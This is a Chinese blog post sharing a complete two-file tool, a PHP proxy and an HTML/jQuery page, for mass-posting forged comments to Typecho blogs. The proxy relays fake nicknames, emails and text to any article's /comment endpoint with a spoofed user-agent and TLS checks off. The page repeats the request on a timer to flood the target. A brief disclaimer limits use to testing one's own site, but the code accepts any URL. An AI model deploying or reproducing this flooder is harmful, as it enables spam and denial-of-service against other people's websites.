醉书生
Typecho评论攻击
11:02
本文最后更新于2021年03月07日,已超过34天没有更新,若内容或图片失效,请留言反馈。
之前有次早上打开博客,发现博客被人刷了几百条恶意评论,删除了好一会儿。今天没什么事,利用php加前端也模拟写出了这样的一个小功能。原理主要是模拟用户评论,然后疯狂的去发送!
——来自Joe主题开发者
注意:如果博客后台开了评论校验、拦截了请求,那么该功能可能会失效。该功能仅供测试自己网站是否可以被刷评论使用,请勿非法使用其他用途!
一共2个文件,分为test.php和test.html,上传到服务器同目录后打开test.html即可使用!
test.php
<?php
header('Access-Control-Allow-Origin:*');
function getParam($key, $default = '')
{
return trim($key && is_string($key) ? (isset($_POST[$key]) ? $_POST[$key] : (isset($_GET[$key]) ? $_GET[$key] : $default)) : $default);
}
function send_post($url, $post_data)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
if (getParam('link')) {
$res = send_post(getParam('link') . '/comment', array(
'author' => getParam('author'),
'mail' => getParam('mail'),
'url' => getParam('url'),
'text' => getParam('text')
));
if ($res) {
echo "发送可能失败!";
} else {
echo "发送应该成功";
}
}
test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Typecho评论攻击</title>
<style>
* {
box-sizing: border-box;
}
body {
display: flex;
}
input {
width: 200px;
height: 28px;
outline: none;
}
textarea {
width: 200px;
height: 200px;
vertical-align: top;
outline: none;
}
.right {
max-height: 580px;
overflow-y: auto;
border-left: 2px solid #ff6800;
margin-left: 50px;
padding-left: 50px;
}
</style>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>
<body>
<div>
<ul>
<li>当前页面仅供测试Typecho的评论系统,请勿非法使用其他用途</li>
<li>本页面的原理:简单的模拟用户去发表评论</li>
<li>如果博客后台开启了评论审核、评论时间限制等,则可能不起作用</li>
</ul>
<p>
<span>文章链接(必填):</span>
<input autocomplete="off" type="text" id="link" placeholder="请输入需要测试的文章链接" />
</p>
<p>
<span>虚假昵称(必填):</span>
<input autocomplete="off" value="测试昵称" type="text" id="author" placeholder="请输入一个假昵称" />
</p>
<p>
<span>虚假邮箱(必填):</span>
<input autocomplete="off" value="250250250@qq.com" type="text" id="mail" placeholder="请输入一个假邮箱" />
</p>
<p>
<span>虚假网址(选填):</span>
<input autocomplete="off" type="text" id="url" placeholder="请输入一个假网址" />
</p>
<p>
<span>虚假文本(必填):</span>
<textarea autocomplete="off" type="text" id="text" placeholder="请输入一个假文本"></textarea>
</p>
<p>
<span>发送间隔(必填):</span>
<input autocomplete="off" value="1000" type="text" id="time" placeholder="请输入多少时间(毫秒)" />
</p>
<p>
<button id="button">开始</button>
</p>
</div>
<div class="right">
<ul id="record"></ul>
</div>
<script>
let timer = null;
$("#button").on("click", function () {
const link = $("#link").val()
const author = $("#author").val()
const mail = $("#mail").val()
const url = $("#url").val()
const text = $("#text").val()
const time = $("#time").val() || 1000
if (!link || !author || !mail || !text || !time) {
return alert("请填写必填项!")
}
if ($(this).html() === '开始') {
$(this).html('停止')
timer = setInterval(() => {
$.ajax({
url: "./test.php",
type: "POST",
data: { link, author, mail, url, text },
success(res) {
$("#record").append("<li>" + res + "</li>")
}
})
}, time);
} else {
$(this).html('开始');
clearInterval(timer);
}
})
</script>
</body>
</html>
Typecho安全小知识
https://www.ysni.cn/1272.html
本文共363个字数,您已阅读:,平均阅读时长≈1分钟。

微信/QQ/支付宝三合一收款码
版权属于:
遇上你
最后修改:
2021 年 03 月 07 日 04 : 50 PM
本文链接:
https://www.ysni.cn/1273.html(转载时请注明本文出处及文章链接)
作品采用: